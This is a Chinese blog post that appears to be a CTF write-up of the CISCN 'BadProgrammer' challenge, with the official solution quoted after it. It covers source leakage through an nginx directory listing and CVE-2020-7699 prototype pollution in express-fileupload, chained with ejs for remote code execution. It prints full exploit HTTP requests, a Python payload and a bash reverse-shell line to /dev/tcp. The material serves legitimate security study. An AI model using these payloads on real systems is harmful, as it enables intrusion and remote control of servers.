[CISCN] BadProgrammer题解

[CISCN] BadProgrammer

image-20230307083733111

页面很长,有很多的按钮,但是点了之后都没反应

查看源码、扫描

image-20230307084327820

打开到具体目录

image-20230307084414700

image-20230307084546248

一个个目录点开看,在static/下找到了一个flag.ejs文件

image-20230307085630546

下载,打开

image-20230307085645559

可是两个目录下的文件夹中都没有flag.txt,得想办法找到读取出来

路由文件app.js 中提到了 flag.ejs

const express = require('express'); const fileUpload = require('express-fileupload'); const app = express(); app.use(fileUpload({ parseNested: true })); app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => { res.render('flag.ejs'); }); app.get('/', (req, res) => { res.render('index.ejs'); }) app.listen(3000); app.on('listening', function() { console.log('Express server started on port %s at %s', server.address().port, server.address().address); });

百度一下,发现是一个中间件

image-20230307092521112

搜索这个中间件的漏洞,存在着CVE漏洞

CVE-2020-7699漏洞分析 - FreeBuf网络安全行业门户

CVE-2020-7699:NodeJS模块代码注入 该漏洞完全是由于Nodejs的express-fileupload模块引起,该模块的1.1.8之前的版本存在原型链污染(Prototype Pollution)漏洞,当然,引发该漏洞,需要一定的配置:parseNested选项设置为true 该漏洞可以引发DOS拒绝服务攻击,配合ejs模板引擎,可以达到RCE的目的 npm i express-fileupload@1.1.7-alpha.4

而且和题目中的版本一致,大概就是这个中间件的漏洞

image-20230307092825367

参照CVE漏洞的payload

image-20230307095435875

POST / HTTP/1.1 Host: 192.168.0.101:7778 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.101:7778/ Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 Content-Length: 339 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt" Content-Type: text/plain aaa -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="username" 123 -----------------------------1546646991721295948201928333--

通过req.body返回的是

{ username : '123' }

我们将上面的username改为

__proto__.outputFunctionName

123的值改为:

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x

所以本题的payload修改为

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

同时也需要构造一个POST请求

POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1 Host: 61.147.171.105:52850 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 245 Content-Type: multipart/form-data; boundary=f9ad5c42ff3d78f5b5d3aa7539dc1354 --f9ad5c42ff3d78f5b5d3aa7539dc1354 Content-Disposition: form-data; name="__proto__.outputFunctionName" x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x --f9ad5c42ff3d78f5b5d3aa7539dc1354--

在原来的基础上把GET 请求换成了POST

POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1 Host: 61.147.171.105:52850

后面的就是抓包的信息,原封不动地cv过来

再加上关键信息

POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1 Host: 61.147.171.105:65379 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 289 Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="__proto__.outputFunctionName" x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x -----------------------------1546646991721295948201928333--

这里的内容不能删、加空行,试了很多次,有时候随便删、加空行后就执行不了

还有这里的boundary是在使用post上传文件时,不仅需要指定mutipart/form-data来进行编码,还需要在Content-Type中定义boundary作为表单参数的分隔符

进入目录得到flag

image-20230307104538147

--------------------------------------------------------------------------------官方wp---------------------------------------------------------------------------

step1 nginx配置错误导致源码泄露

观察源码发现静态文件存放在/static/目录下 :

<head> <title>Semantic UI</title> <link rel="stylesheet" type="text/css" href="/static/css/semantic.min.css"> <script src="/static/js/jquery-3.1.1.min.js" integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8=" crossorigin="anonymous"></script> <script src="/static/js/semantic.min.js"></script> </head>

观察请求response header发现是nginx服务器加express框架:

Connection: keep-alive Content-Length: 20175 Content-Type: text/html; charset=utf-8 Date: Sat, 05 Sep 2020 08:15:26 GMT ETag: W/"4ecf-BRB1SRFii1kA+OilogiQ1K0hP8U" Server: nginx X-Powered-By: Express

利用nginx配置错误,可以列目录:

此时可以得到app.js源码:

const express = require('express'); const fileUpload = require('express-fileupload'); const app = express(); app.use(fileUpload({ parseNested: true })); app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => { res.render('flag.ejs'); }); app.get('/', (req, res) => { res.render('index.ejs'); }) app.listen(3000); app.on('listening', function() { console.log('Express server started on port %s at %s', server.address().port, server.address().address); });

step2 express-fileupload原型链污染漏洞

查看package.json文件,发现引用express-fileupload版本为1.1.7-alpha.4,此版本存在CVE-2020-7699,原型链污染漏洞。

{ "name": "app", "version": "1.0.0", "description": "", "main": "app.js", "scripts": { "app": "node /app/app.js", "test": "echo \"Error: no test specified\" && exit 1" }, "author": "", "license": "ISC", "dependencies": { "ejs": "^3.1.5", "express": "^4.17.1", "express-fileupload": "1.1.7-alpha.4" } }

step3 配合ejs模板引擎进行RCE

通过污染ejs中outputFunctionName变量,实现RCE:

resp1 = requests.post("http://{}:{}/{}".format(HOST, PORT, PATH), files={'__proto__.outputFunctionName': ( None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd=cmd) )})

step4 拷贝flag

flag在/flag.txt,需要通过命令执行将其拷贝到可访问到的位置。

观察package.json中,可知服务路径为/app

所以我们只需通过RCE执行

cp /flag.txt /app/static/js/flag.txt

再访问http://IP:PORT/static/js/flag.txt即可得到flag。


__EOF__

本文作者bzbzzbc
本文链接https://www.cnblogs.com/bzbzzbc/p/17266453.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   bzbzzbc  阅读(407)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示